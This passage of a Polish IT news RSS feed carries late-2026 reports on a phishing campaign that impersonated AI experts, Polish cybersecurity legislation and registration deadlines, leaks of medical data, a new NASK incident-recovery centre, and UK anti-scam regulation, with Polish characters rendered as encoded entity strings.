Ostatnia dziaand#322;alnoand#347;and#263; TA419 polegaand#322;a na wysyand#322;aniu mailiand#160;podszywajand#261;cych siand#281; pod ekspertand#243;w od AI. W jednym z nich hakerzy udawaliand#160;Lynne Parker, peand#322;niand#261;cand#261;and#160;w przeszand#322;oand#347;ci funkcjand#281; wicedyrektorki biura polityki w obszarze nauki i technologii Biaand#322;ego Domu. W treand#347;ci wiadomoand#347;ci przestand#281;pcy proponowali wspand#243;and#322;pracand#281;and#160;w obszarze AI band#261;dand#378; udziaand#322;and#160;w inicjatywach zwiand#261;zanych ze sztucznand#261; inteligencjand#261;. Nastand#281;pnie podejmowali prand#243;band#281; wyand#322;udzenia haseand#322;.and#160;

Firma nie chciaand#322;a podaand#263; toand#380;samoand#347;ci ekspertand#243;w, ktand#243;rzy byli celem hakerand#243;w. Jednakand#160;Reuters byand#322; w stanie niezaleand#380;nie znaleand#378;and#263; osoband#281;, od ktand#243;rej hakerzy prand#243;bowali wyand#322;udziand#263; informacje.and#160;
Reuters skontaktowaand#322; siand#281; z Alexem Englerem, byand#322;ym urzand#281;dnikiem Biaand#322;ego Domu, peand#322;niand#261;cym obecnieand#160;funkcjand#281;and#160;szefa oand#347;rodka Penn Center on Media, Technology andand#160;Democracy.and#160;
Engler powiedziaand#322;, and#380;e dostaand#322; maila od Parkera, w ktand#243;rym ekspertka zapraszaand#322;a go do doand#322;and#261;czenia do nowegoand#160;projektu dotyczand#261;cego ustawodawstwa dotyczand#261;cego AI. Jednak wiadomoand#347;and#263; wzbudziand#322;a w nim obawy i po tym, jak dokand#322;adnie zweryfikowaand#322; zaproszenie, okazaand#322;o siand#281;, and#380;e byand#322;o ono faand#322;szywe.and#160;
- USA i Chiny konkurujand#261; w dziedzinie AI and#8212; powiedziaand#322;a Parker. Dodaand#322;a, and#380;e and#8222;prand#243;ba uzyskania od ludzi zajmujand#261;cych siand#281; ustawodawstwem dotyczand#261;cym AI informacji o ich dziaand#322;aniach and#8212; jeand#347;li to rzeczywiand#347;cie byand#322;o celem dziaand#322;aand#324; hakerand#243;w and#8212; nie jest czymand#347; niespodziewanymand#8221;.



















W and#347;rodand#281; brytyjski kontrwywiad ostrzegand#322; krajowe uniwersytety przed wspand#243;and#322;pracand#261; z chiand#324;skand#261; instytucjand#261; badawczand#261; China General Technology Research Institute (CGTRI). Wedand#322;ug MI5 jest toand#160;przykrywka do prowadzenia dziaand#322;aand#324; szpiegowskich, majand#261;caand#160;and#8222;bardzo bliskie powiand#261;zaniaand#8221; z chiand#324;skim ministerstwem bezpieczeand#324;stwa paand#324;stwowego.and#160;Brytyjskie sand#322;uand#380;by ostrzegand#322;y, and#380;e ponad 100 naukowcand#243;w w Wielkiej Brytanii nieand#347;wiadomie pomagaand#322;o Chinom zwiand#281;kszaand#263; zdolnoand#347;ci szpiegowskie.and#160;
and#160;
and#160;
and#378;rodand#322;o PAPand#160;1 paand#378;dziernik 2026and#160;and#160;awm/ adj/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyberzagrożenia rosną. Ekspert: Jeden atak może uderzyć w całą gospodarkę ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1761</link>
			<description><![CDATA[ Celem nie jest stworzenie cyfrowej przyszand#322;oand#347;ci caand#322;kowicie pozbawionej zakand#322;and#243;ceand#324;, lecz zapewnienie, by ewentualne zakand#322;and#243;cenia nie prowadziand#322;y do paraliand#380;u narodowego and#8212; powiedziaand#322; w czwartek zastand#281;pca dyrektora generalnego ds. cyberodpornoand#347;ci Agencji Cyberbezpieczeand#324;stwa Singapuru (CSA) Justiin Ang.
and#160;




and#160;

fot. Klochkov SCS / /and#160;Shutterstock


and#160;
and#160;
Swoim wystand#261;pieniem Ang otworzyand#322; drugi dzieand#324;, odbywajand#261;cego siand#281; w Warszawie, VIII Forum Cyberbezpieczeand#324;stwa.
Ekspert podkreand#347;liand#322;, and#380;e choand#263; polskie i singapurskie uwarunkowania sand#261; odmienne, oba kraje rozumiejand#261;, and#380;e odpornoand#347;and#263; to nie tylko zdolnoand#347;and#263; do odtworzenia tego, co utracone, ale teand#380; umiejand#281;tnoand#347;and#263; ochrony fundamentand#243;w, od ktand#243;rych naleand#380;y przyszand#322;y postand#281;p and#8212; systemand#243;w, sieci i technologii umoand#380;liwiajand#261;cych funkcjonowanie gospodarki i spoand#322;eczeand#324;stwa.












- Nie dand#261;and#380;ymy do cyfrowej przyszand#322;oand#347;ci wolnej od jakichkolwiek zakand#322;and#243;ceand#324; and#8211; to pewne. Naszym celem jest taka cyfrowa przyszand#322;oand#347;and#263;, w ktand#243;rej zakand#322;and#243;cenia nie prowadzand#261; do paraliand#380;u paand#324;stwa, zaufanie moand#380;na szybko odbudowaand#263;, a nasze spoand#322;eczeand#324;stwa mogand#261; nadal wprowadzaand#263; innowacje i siand#281; rozwijaand#263; - powiedziaand#322;.

Jak mand#243;wiand#322;, Singapur ma ograniczone zasoby strategiczne, niewielki rynek wewnand#281;trzny i skromnand#261; puland#281; talentand#243;w. Jednoczeand#347;nie kraj jest w znacznym stopniu zaleand#380;ny od globalnych technologii, infrastruktury i and#322;aand#324;cuchand#243;w dostaw.
Co za tym idzie, waand#380;ne jest budowanie partnerstw, na ktand#243;rych Singapur band#281;dzie mand#243;gand#322; polegaand#263; w sytuacjach kryzysowych.

Ang zauwaand#380;yand#322;, and#380;e w ostatnich latach zmieniand#322; siand#281; charakter cyberprzestand#281;pczoand#347;ci - przestand#281;pcy atakujand#261; infrastrukturand#281; w rand#243;and#380;nych dziedzinach - od telekomunikacji, przez energetykand#281; i finanse, po ochronand#281; zdrowia. Sztuczna inteligencja z jednej strony skraca czas reakcji na ataki, a z drugiej uand#322;atwia oszustwa, jednoczeand#347;nie uderzajand#261;c w zaufanie publiczne.

-and#160;W przypadku maand#322;ego kraju kompromitacja bezpieczeand#324;stwa w jednym kluczowym sektorze moand#380;e mieand#263; skutki odczuwalne dla caand#322;ej gospodarki - stwierdziand#322;.

W ramach partnerstwa cyfrowego z Uniand#261; Europejskand#261; Singapur wspand#243;and#322;pracuje w zakresie cyberodpornoand#347;ci, a wspand#243;and#322;praca ta obejmuje infrastrukturand#281; krytycznand#261; oraz zarzand#261;dzanie kryzysowe w cyberprzestrzeni.
Poza tym cyklicznie organizowane sand#261; krajowe and#263;wiczenia z zarzand#261;dzania kryzysowego w cyberprzestrzeni (Cyber Star),and#160;ktand#243;re sand#322;uand#380;and#261; ocenie krajowego systemu reagowania na kryzysy w cyberprzestrzeni oraz koordynacji dziaand#322;aand#324; w tym zakresie, a takand#380;eand#160;and#263;wiczenia dotyczand#261;ce infrastruktury krytycznej.
Zdaniem Anga kluczem do sukcesu jest and#347;wiadomoand#347;and#263; tego, od czego jesteand#347;my zaleand#380;ni, przygotowanie do dziaand#322;ania w sytuacji zakand#322;and#243;cenia tych zaleand#380;noand#347;ci oraz budowanie partnerstw, ktand#243;re zachowajand#261; niezawodnoand#347;and#263; nawet pod presjand#261; - a Europa i region Indo-Pacyfiku wnoszand#261; do tego zadania odmienne doand#347;wiadczenia.



















VIII Forum Cyberbezpieczeand#324;stwa zostaand#322;oand#160;zorganizowane przez Ministerstwo Cyfryzacji. Wydarzenie odbywa siand#281; pod patronatem medialnym PAP.
and#160;
and#160;
and#378;rodand#322;o PAPand#160;1 paand#378;dziernik 2026and#160; Katarzyna Czarnecka (PAP)
ksc/ mark/ ]]></description>
		</item><item>
			<title><![CDATA[ Ostatni dzwonek dla firm na spełnienie obowiązku KSC. Zostało tylko kilka dni ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1760</link>
			<description><![CDATA[ Tylko do 3 paand#378;dziernika przedsiand#281;biorcy objand#281;ci przepisami o krajowym systemie cyberbezpieczeand#324;stwa majand#261; czas na wpis do obowiand#261;zkowego wykazu KSC. Wielu wand#322;aand#347;cicieli firm moand#380;e nie wiedzieand#263;, and#380;e ciand#261;and#380;y na nich taka powinnoand#347;and#263;. Jak mogand#261; to sprawdziand#263; i ewentualnie jakie dalsze kroki powinni podjand#261;and#263;?
and#160;




and#160;

fot. Sutthiphong Chandaeng / /and#160;Shutterstock


and#160;
To obowiand#261;zek, ktand#243;ry wielu przedsiand#281;biorcom mand#243;gand#322; umknand#261;and#263;. Wprowadzona w Polsce w kwietniu ustawa o krajowym systemie cyberbezpieczeand#324;stwa (UKSC) obciand#261;and#380;yand#322;a nowymi obowiand#261;zkami nie tylko podmioty publiczne, ale takand#380;e firmy z 18 branand#380;. Wedand#322;ug jej zapisand#243;w wiele firm zostaand#322;o okreand#347;lonych jako podmioty kluczowe lub waand#380;ne w kontekand#347;cie cyberbezpieczeand#324;stwa



and#160;



Jakie sektory obejmuje ustawa?
Ustawa obejmuje branand#380;e istotne dla funkcjonowania paand#324;stwa i gospodarki. Na tej liand#347;cie sand#261; m.in.: energia, transport, bankowoand#347;and#263;, infrastruktura rynkand#243;w finansowych, ochrona zdrowia, zaopatrzenie w wodand#281; pitnand#261; i jej dystrybucja, zbiorowe odprowadzanie and#347;ciekand#243;w, infrastruktura cyfrowa, zarzand#261;dzanie usand#322;ugami ICT oraz przestrzeand#324; kosmiczna.
and#160;
Wand#322;aand#347;ciciele firm z tych sektorand#243;w w pierwszej kolejnoand#347;ci muszand#261; siand#281; upewniand#263;, czy speand#322;niajand#261; kryteria podmiotu kluczowego lub podmiotu waand#380;nego. W tym celu powinni dokonaand#263; tzw. samoidentyfikacji. Jeand#347;li okaand#380;e siand#281;, and#380;e speand#322;niajand#261; wymogi zwiand#261;zane z ustawand#261;, wtedy band#281;dand#261; musieli zarejestrowaand#263; siand#281; w wykazie podmiotand#243;w Krajowego Systemu Cyberbezpieczeand#324;stwa (KSC). Czas na to majand#261; tylko do 3 paand#378;dziernika.
and#160;
Jakie kroki muszand#261; podjand#261;and#263; wand#322;aand#347;ciciele firm?
Przedsiand#281;biorcy powinni teraz podjand#261;and#263; nastand#281;pujand#261;ce dziaand#322;ania:


1. Weryfikacja statusu firmy and#8211; sprawdzenie profilu dziaand#322;alnoand#347;ci, kodu PKD, wielkoand#347;ci przedsiand#281;biorstwa oraz danych podmiotand#243;w partnerskich i powiand#261;zanych.
2. Sprawdzenie trybu wpisu and#8211; ustalenie, czy organizacja zostaand#322;a wpisana z urzand#281;du czy musi zand#322;oand#380;yand#263; wniosek samodzielnie.
3. Dopeand#322;nienie formalnoand#347;ci o wpisie and#8211; jeand#380;eli firma speand#322;niaand#322;a kryteria 3 kwietnia 2026 r. i nie zostaand#322;a wpisana z urzand#281;du, moand#380;e zand#322;oand#380;yand#263; wniosek najpand#243;and#378;niej 3 paand#378;dziernika.
4. Przygotowanie wdroand#380;enia and#8211; wyznaczenie osand#243;b odpowiedzialnych, przeprowadzenie analizy ryzyka, zaplanowanie dziaand#322;aand#324; technicznych i organizacyjnych oraz uwzgland#281;dnienie ich kosztand#243;w w budand#380;ecie i planie pand#322;ynnoand#347;ci finansowej.

Co po wpisie do Wykazu KSC?
Jak przypomina Ministerstwo Cyfryzacji, wpis do Wykazu KSC to jeden z pierwszych krokand#243;w zwiand#261;zanych z nowymi przepisami. Podmioty kluczowe i podmioty waand#380;ne muszand#261; rand#243;wnieand#380; przygotowaand#263; siand#281; do realizacji pozostaand#322;ych obowiand#261;zkand#243;w wynikajand#261;cych z ustawy, m.in. w zakresie zarzand#261;dzania ryzykiem, bezpieczeand#324;stwa systemand#243;w informacyjnych czy obsand#322;ugi i zgand#322;aszania incydentand#243;w.
Dla podmiotand#243;w, ktand#243;re speand#322;niaand#322;y kryteria w dniu wejand#347;cia w and#380;ycie nowelizacji, termin na wdroand#380;enie obowiand#261;zkand#243;w wynikajand#261;cych z nowych przepisand#243;w upand#322;ywa 3 kwietnia 2027 r.
and#160;
and#378;rodand#322;o Bankier.pl and#160;1 paand#378;dziernik 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Państwo „przytrzyma za gardło” ws. cyberbezpieczeństwa. Gawkowski: Cyber Piątka na początku 2027 r. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1759</link>
			<description><![CDATA[ Projekt zmian ustawowych w ramach tzw. Cyber Piand#261;tki zostaand#322; zand#322;oand#380;ony do wykazu prac legislacyjnych rzand#261;du, a przepisy mogand#261; zostaand#263; uchwalone w styczniu 2027 r. - przekazaand#322; w and#347;rodand#281; PAP wicepremier i minister cyfryzacji Krzysztof Gawkowski.
and#160;




and#160;

fot. Zbyszek Kaczmarek / /and#160;FORUM


and#160;
Pod koniec sierpnia Ministerstwo Cyfryzacji (MC) przedstawiand#322;o zaand#322;oand#380;enia pakietu zmian legislacyjnych dotyczand#261;cych ochrony danych - and#8222;Cyber Piand#261;tkaand#187;. Pakiet zakand#322;ada m.in. wprowadzenie certyfikacji firm przetwarzajand#261;cych dane medyczne, powiadomieand#324; o zdarzeniach medycznych, czy nowych obowiand#261;zkand#243;w dla podmiotand#243;w masowo przetwarzajand#261;cych dane.



and#160;



- Projekt zmian ustawowych Cyber Piand#261;tki zostaand#322; zand#322;oand#380;ony do wykazu prac legislacyjnych rzand#261;du. Chciaand#322;bym, and#380;eby w najbliand#380;szych trzech miesiand#261;cach zakoand#324;czyand#322;y siand#281; prace konsultacyjne projektu wewnand#261;trz rzand#261;du i and#380;ebyand#347;my szybko zamknand#281;li caand#322;y proces legislacyjny - przekazaand#322; w rozmowie z PAP wicepremier i minister cyfryzacji Krzysztof Gawkowski, podczas 8. Forum Cyberbezpieczeand#324;stwa. Dodaand#322;, and#380;e spodziewa siand#281;, iand#380; nowe przepisy zostanand#261; uchwalone na poczand#261;tku przyszand#322;ego roku.
and#160;
and#160;
Gawkowski przypomniaand#322;, and#380;e projekt ws. Cyber Piand#261;tki zakand#322;ada m.in. dodatkowe obowiand#261;zki dla firm, ktand#243;re przetwarzajand#261; dane ponad 100 tys. osand#243;b.
- Ten puand#322;ap to jasna granica odpowiedzialnoand#347;ci. Waand#380;ne jest, and#380;eby firmy wiedziaand#322;y, and#380;e paand#324;stwo band#281;dzie trzymaand#322;o je za gardand#322;o, mand#243;wiand#261;c im: "nie moand#380;esz przetwarzaand#263; zbyt duand#380;ej iloand#347;ci danych, jeand#380;eli nie inwestujesz w cyberbezpieczeand#324;stwo i ochronand#281; tych danych. Jeand#380;eli ktoand#347; zarabia na danych obywateli, bo je przetwarza, bo je dalej przesyand#322;a, musi teand#380; wiedzieand#263;, and#380;e cyberbezpieczeand#324;stwo to dzisiaj u niego powinien byand#263; priorytet and#8211; mand#243;wiand#322; wicepremier.
and#160;
W kontekand#347;cie ostatnich wyciekand#243;w danych medycznych Gawkowski wskazaand#322;, and#380;e trwajand#261; kontrole realizowane przez Urzand#261;d Ochrony Danych Osobowych. Z kolei Ministerstwo Zdrowia wydaand#322;o specjalne zalecenia dla firm dotyczand#261;ce cyberbezpieczeand#324;sta.
- Specjalne zespoand#322;y pracujand#261; teand#380; nad wykrywaniem przestand#281;pcand#243;w, ktand#243;rzy atakujand#261; te firmy (sektora medycznego - PAP) and#8211; zaznaczyand#322; szef MC.
Podkreand#347;liand#322;, and#380;e inwestycje w cyberbezpieczeand#324;stwo to ochrona renomy przedsiand#281;biorstwa. - Jeand#380;eli zostaand#322;eand#347; zinfiltrowany, ukradziono ci dane, to tracisz na marce i to znaczy, and#380;e band#281;dziesz mniej zarabiaand#322;, bo klienci nie band#281;dand#261; ci ufali. Nie moand#380;na nie inwestowaand#263; w cybezpieczeand#324;stwo, kiedy trwa wojna hybrydowa. Polska jest najbardziej atakowanym paand#324;stwem w Europie and#8211; mand#243;wiand#322; rozmand#243;wca PAP.
Przypomniaand#322;, and#380;e w 2025 roku resort cyfryzacji zrealizowaand#322; program wsparcia transformacji cyfrowej przedsiand#281;biorstw and#8222;Poand#380;yczka na cyfryzacjand#281;and#187;, ktand#243;ry byand#322; wart 2,8 mld zand#322;.
- Teraz przygotowany jest kolejny program. Wystarczy siand#281;gaand#263; po te pieniand#261;dze. Moand#380;na zainwestowaand#263; u siebie w firmie w cyberbezpieczeand#324;stwo korzystajand#261;c z publicznych pieniand#281;dzy. Tylko trzeba chcieand#263; to zrobiand#263;, podjand#261;and#263; to wyzwanie. A wiele firm nawet nie stanand#281;and#322;o do konkursu and#8211; powiedziaand#322; szef MC.
and#160;
Pytany o niedoband#243;r specjalistand#243;w cyberbezpieczeand#324;stwa, oceniand#322;, and#380;e oni sand#261; na rynku, tylko trzeba ich odpowiednio wynagrodziand#263;.
- Inwestycja w cybrebezpieczeand#324;stwo jest tym samym, co inwestycja w marketing firmy. To znaczy, jeand#380;eli staand#263; ciand#281; na specjalistand#281; w marketingu, ktand#243;ry zarabia kilkanaand#347;cie tysiand#281;cy zand#322;otych, to musi ciand#281; byand#263; staand#263; na eksperta cyberbezpieczeand#324;stwa. To jest inwestycja w przyszand#322;oand#347;and#263; kaand#380;dej firmy. Jeand#380;eli przedsiand#281;biorca tego nie rozumie, to band#281;dzie traciand#322; and#8211; przekonywaand#322; wicepremier.
Przedstawiona 31 sierpnia przez resort cyfryzacji Cyber Piand#261;tka zakand#322;ada wprowadzenie certyfikacji dla podmiotand#243;w, ktand#243;rym powierzane jest przetwarzanie danych medycznych. MC chce teand#380; okreand#347;lenia minimalnych wymagaand#324; technologicznych dla systemand#243;w teleinformatycznych wykorzystywanych do przetwarzania danych medycznych. Ma teand#380; zostaand#263; wprowadzony obowiand#261;zek informowania pacjentand#243;w o powierzeniu przetwarzania ich danych podmiotom zewnand#281;trznym. Resort zaproponowaand#322; ponadto wprowadzenie powiadomieand#324; w aplikacji mObywatel oraz mojeIKP o zdarzeniach medycznych, takich jak wizyta, wystawienie recepty czy inne and#347;wiadczenia. Ostatnia propozycja zakand#322;ada dodatkowe obowiand#261;zki dla podmiotand#243;w, ktand#243;re przetwarzajand#261; dane dla wiand#281;cej niand#380; 100 administratorand#243;w lub ponad 100 tys. osand#243;b.





Cyber Piand#261;tkowa to odpowiedand#378; Ministerstwa Cyfryzacji na wyciek danych ok. 19 mln Polakand#243;w z systemand#243;w firmy MyDr, o czym resort poinformowaand#322; 13 sierpnia. W wyniku cyberataku na firmand#281; MyDr wyciekand#322;y dane m.in. o lekach i receptach. Firma jest dostawcand#261; systemu do prowadzenia m.in. elektronicznej dokumentacji medycznej.
W czwartek 24 wrzeand#347;nia redakcje CyberDefence24 i Zaufanej Trzeciej Strony niezaleand#380;nie poinformowaand#322;y o wycieku danych osobowych, w tym danych medycznych, wskutek ataku na aplikacjand#281; Medyc od firmy Qbusoft. Skala ataku obejmuje najprawdopodobniej 5 milionand#243;w osand#243;b - podaand#322;y portale. Firma poinformowaand#322;a, and#380;e zakres skradzionych danych obejmuje imiona i nazwiska, numery PESEL, miejsce zamieszkania, numery telefonand#243;w oraz adresy e-mail, ale nie potwierdzono kradzieand#380;y dokumentacji medycznej.
Natomiast w ubiegand#322;y piand#261;tek spand#243;and#322;ka Centrum Medyczne Enel-Med poinformowaand#322;a, and#380;e pod koniec wrzeand#347;nia zidentyfikowaand#322;a cyberatak, w wyniku ktand#243;rego doszand#322;o do wycieku danych ok. 3 proc. caand#322;ej bazy pacjentand#243;w.
Wymienione trzy incydenty w firmach sektora medycznego sand#261; analizowane przez NASK, sand#322;uand#380;by i Urzand#261;d Ochrony Danych Osobowych.





and#346;roda to pierwszy dzieand#324; 8. edycji Forum Cyberbezpieczeand#324;stwa, organizowanego przez Ministerstwo cyfryzacji w Paand#322;acu Kultury i Nauki w Warszawie. Polska Agencja Prasowa objand#281;and#322;a wydarzenie patronatem medialnym.
and#160;
and#160;
and#378;rodand#322;o PAP 30 wrzesieand#324; 2026 Monika Blandyna Lewkowicz (PAP)
mbl/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ NASK uruchamia nowe centrum. Pomoże firmom po cyberataku odzyskać dane ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1758</link>
			<description><![CDATA[ W ramach NASK powstanie Krajowe Centrum Operacyjne Cyberbezpieczeand#324;stwa, ktand#243;re band#281;dzie pomagaand#263; firmom i instytucjom w przywrand#243;ceniu ciand#261;gand#322;oand#347;ci dziaand#322;ania po cyberataku - podaand#322;a jednostka.
and#160;




and#160;

fot. Fotogrin / /and#160;Shutterstock


and#160;
Jak poinformowaand#322; NASK, Krajowe Centrum Operacyjne Cyberbezpieczeand#324;stwa (KCOC) band#281;dzie czand#281;and#347;ciand#261; Centrum Cyberbezpieczeand#324;stwa NASK (CCN), ktand#243;re powstanie w Warszawie.
Zdarza siand#281;, and#380;e cyberprzestand#281;pcy po zaatakowaniu firmy lub podmiotu publicznego szyfrujand#261; dane i and#380;and#261;dajand#261; okupu w zamian za ich odzyskanie. Eksperci KCOS majand#261; pomagaand#263; wand#322;aand#347;nie w takich sytuacjach - podkreand#347;liand#322; NASK.
and#160;
Gand#322;and#243;wnym zadaniem Krajowego Centrum Odzyskiwania Danych band#281;dzie wsparcie procesu reagowania na incydenty poprzez odzyskiwanie danych, ich analiza oraz pomoc w przywracaniu ciand#261;gand#322;oand#347;ci dziaand#322;ania zaatakowanej jednostki.
and#160;

and#8222;Dane mogand#261; zawieraand#263; istotne informacje dotyczand#261;ce przestand#281;pstwa. Mogand#261; uand#322;atwiand#263; odtworzenie przebiegu incydentu oraz ustalenie jego przyczyny i skali. Warto mieand#263; na uwadze, and#380;e and#347;lady cyfrowe czand#281;sto sand#261; traktowane jak poszlaki w prowadzonym postand#281;powaniu i naleand#380;y je prawidand#322;owo zabezpieczyand#263;" and#8211; zauwaand#380;yand#322;, cytowany w informacji prasowej, dyrektor pionu CSIRT w NASK Maciej Siciarek.

and#160;



and#160;



Jak podkreand#347;lono, po kaand#380;dym incydencie cyberbezpieczeand#324;stwa kluczowe znaczenie ma czas reakcji. Niezband#281;dne jest szybkie dziaand#322;anie i niezwand#322;oczny dostand#281;p do uszkodzonych urzand#261;dzeand#324; czy noand#347;nikand#243;w. Tymczasem transport do zewnand#281;trznego laboratorium czand#281;sto jest bardzo trudny lub wrand#281;cz niemoand#380;liwy - wskazaand#322; NASK.

W odpowiedzi na to wyzwanie, Krajowe Centrum Odzyskiwania Danych band#281;dzie mobilne. Eksperci KCOC majand#261; dysponowaand#263; pojazdem ze specjalistycznym sprzand#281;tem, co umoand#380;liwi im dotarcie na miejsce incydentu i pracand#281; w zaatakowanej organizacji.
W maju tego roku Ministerstwo Cyfryzacji ogand#322;osiand#322;o uzyskanie decyzji o pozwoleniu na budowand#281; Centrum Cyberbezpieczeand#324;stwa NASK (CCN). Jednostka powstanie na warszawskiej Pradze. W jej ramach, oprand#243;cz KCOCO, dziaand#322;aand#263; majand#261;: Modelowy Oand#347;rodek treningowo and#8211; szkoleniowy w obszarze Cyberbezpieczeand#324;stwa (OSC); Laboratorium Bezpieczeand#324;stwa AI (AITAS); Laboratorium Fuzzingu i Badania Zand#322;oand#347;liwego Oprogramowania (FUMAL); Krajowe Centrum Wsparcia Security dla JST (KCWS) oraz Oand#347;rodek Modelowania Certyfikacji Cyberbezpieczeand#324;stwa (OMCC).
Na projekt CCN przeznaczono 360 mln zand#322;. Zostaand#322; on dofinansowany z Europejskiego Funduszu Rozwoju Regionalnego oraz ze and#347;rodkand#243;w budand#380;etu paand#324;stwa w ramach Programu Fundusze Europejskie na Rozwand#243;j Cyfrowy 2021-2027.and#160;
and#160;
and#160;
and#378;rodand#322;o PAPand#160;30 wrzesieand#324; 2026and#160;mbl/ pad/ ]]></description>
		</item><item>
			<title><![CDATA[ Walka ze scamem przynosi efekty. W tych krajach już to widać ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1757</link>
			<description><![CDATA[ Systemowe podejand#347;cie do walki z oszustwami to zadanie na lata, a nie miesiand#261;ce. W dodatku przestand#281;pcy zawsze poszukiwaand#263; band#281;dand#261; nowych nisz i sposoband#243;w obchodzenia stawianych zapand#243;r. Chociaand#380;by dlatego pierwsze efekty rewolucji w kilku krajach nie sand#261; spektakularne, ale na pewno godne and#347;ledzenia.


and#160;




and#160;

/and#160;Shutterstock


and#160;
Wielka Brytania byand#322;a jednym z pierwszych krajand#243;w, w ktand#243;rych zdecydowano siand#281; dziaand#322;aand#263; w sprawie oszustw typu APP (Authorized Push Payment). Najpierw powstaand#322; dobrowolny schemat refundowania strat konsumentom, ktand#243;rzy padli ofiarand#261; wyand#322;udzeand#324;. Potem regulator rynku pand#322;atniczego PSR przedstawiand#322; rozwiand#261;zanie obejmujand#261;ce wszystkich dostawcand#243;w usand#322;ug. Nowe zasady odpowiedzialnoand#347;ci za transakcje, w ktand#243;rych pand#322;atnik zostaand#322; wprowadzony w band#322;and#261;d i sam autoryzowaand#322; operacjand#281;, weszand#322;y w and#380;ycie w paand#378;dzierniku 2024 r. Zakand#322;adajand#261; one m.in. podziaand#322; pand#243;and#322; na pand#243;and#322; odpowiedzialnoand#347;ci za transakcje oszukaand#324;cze pomiand#281;dzy podmiot prowadzand#261;cy rachunek and#378;rand#243;dand#322;owy (pand#322;atnika) i docelowy (odbiorcy and#347;rodkand#243;w z wyand#322;udzenia).
and#160;



and#160;



W pierwszym kwartale opublikowano pierwszand#261; szerszand#261; analizand#281; skutkand#243;w regulacji. Raport przygotowaand#322; niezaleand#380;ny od PSR podmiot and#8211; Frontier Economics. Najwaand#380;niejszy wniosek? Widaand#263; znaczand#261;ce efekty w liczbie i wartoand#347;ci oszustw. Wartoand#347;and#263; oszukaand#324;czych transakcji przechodzand#261;cych przez system pand#322;atnoand#347;ci natychmiastowych Faster Payments byand#322;a and#347;rednio o 21 proc. niand#380;sza miesiand#281;cznie niand#380; przed wejand#347;ciem w and#380;ycie nowych zasad. Odpowiadaand#322;oby to ograniczeniu strat z oszustw o ok. 73 mln funtand#243;w rocznie. Jeand#347;li uwzgland#281;dniand#263;, and#380;e czand#281;and#347;and#263; transakcji nie jest natychmiast identyfikowana jako wyand#322;udzenie (np. w schematach pseudoinwestycyjnych), to szacowany spadek wartoand#347;ci strat zamyka siand#281; kwotand#261; ok. 91 mln funtand#243;w rocznie.
and#160;
and#346;rednia miesiand#281;czna liczba transakcji oszukaand#324;czych spadand#322;a z ok. 39,6 tys. przed wprowadzeniem regulacji do ok. 34,7 tys. po jej wdroand#380;eniu. Przekand#322;ada siand#281; to na ok. 34,8 tys. mniej przypadkand#243;w oszustw APP rocznie. To bezpoand#347;redni efekt wzmocnienia prewencji u dostawcand#243;w usand#322;ug pand#322;atniczych. Koniecznoand#347;and#263; ewentualnego pokrycia strat skand#322;oniand#322;a ich do inwestycji w monitoring transakcji i wykrywanie podejrzanych rachunkand#243;w uand#380;ywanych przez and#8222;sand#322;upand#243;wand#8221;. Co ciekawe, najwiand#281;kszy spadek oszustw odnotowaand#322;y banki i instytucje, ktand#243;re przed regulacjand#261; miaand#322;y najgorsze wskaand#378;niki.
Autorzy raportu odnotowali rand#243;wnieand#380; kilka niepokojand#261;cych trendand#243;w. Przestand#281;pcy chand#281;tniej kierujand#261; siand#281; tam, gdzie oszustwa nie sand#261; objand#281;te systemem zwrotand#243;w. Wzrosand#322;a wartoand#347;and#263; oszustw transgranicznych, powiand#261;zanych z gieand#322;dami kryptowalut oraz, co moand#380;e wskazywaand#263; na istotnand#261; lukand#281; w regulacji, bazujand#261;cych na przelewach wewnand#281;trznych.

W raporcie podkreand#347;lono, and#380;e skutki zmian siand#281;gnand#281;and#322;y daleko poza styk konsument-dostawca. Jednym z nich jest zwiand#281;kszony popyt na rozwiand#261;zania IT wspomagajand#261;ce walkand#281; z oszustwami. To z kolei napand#281;dza innowacje w tej dziedzinie, zwand#322;aszcza and#380;e poand#322;owa badanych dostawcand#243;w siand#281;ga po produkty oferowane przez zewnand#281;trzne firmy. W pogand#322;and#281;bionych wywiadach interesariusze zwrand#243;cili natomiast uwagand#281; na czynnik, ktand#243;ry osand#322;abia efektywnoand#347;and#263; schematu and#8211; braki w zapobieganiu oszustwom w szerszym, nie tylko finansowym, otoczeniu.
and#160;



Na Wyspach majand#261; plan na kolejne lata
W Wielkiej Brytanii w ostatnich latach uruchomiono kilka inicjatyw, ktand#243;re miaand#322;y zaadresowaand#263; rosnand#261;cy problem scamand#243;w. Przykand#322;adem mogand#261; byand#263; obowiand#261;zki narzucone platformom online przez Online Safety Act czy wymuszenie przez nadzand#243;r finansowy weryfikacji reklamodawcand#243;w promujand#261;cych produkty finansowe w ramach Online Fraud Charter. Brakowaand#322;o jednak spand#243;jnego podejand#347;cia, a regulacje pozostajand#261; peand#322;ne luk i w czand#281;and#347;ci oparte na dobrowolnych dziaand#322;aniach instytucji mieszczand#261;cych siand#281; w and#8222;and#322;aand#324;cuchu dostawand#8221; oszustw.
Przykand#322;adem sand#322;uand#380;y chociaand#380;by test przeprowadzony przez FCA w listopadzie 2025 r. Nadzorca przeanalizowaand#322; wand#243;wczas ponad tysiand#261;c reklam emitowanych na platformie Meta promujand#261;cych rynki forex i skomplikowane instrumenty finansowe takie jak CFD. and#379;adna z nich nie pochodziand#322;a od autoryzowanych przez nadzand#243;r podmiotand#243;w, chociaand#380; platforma zobowiand#261;zaand#322;a siand#281; do odsiewania ziarna od plew. Co gorsza, 56 proc. reklam z prand#243;bki wykupionych zostaand#322;o przez podmioty wczeand#347;niej oflagowane przez FCA i zgand#322;oszone operatorowi platformy. Wyniki potwierdziand#322;a agencja Reuters, przygotowujand#261;c w ramach prowokacji, faand#322;szywe reklamy produktand#243;w finansowych. W Wielkiej Brytanii zostaand#322;y one dopuszczone do emisji. W Australii skutecznie je zablokowano.
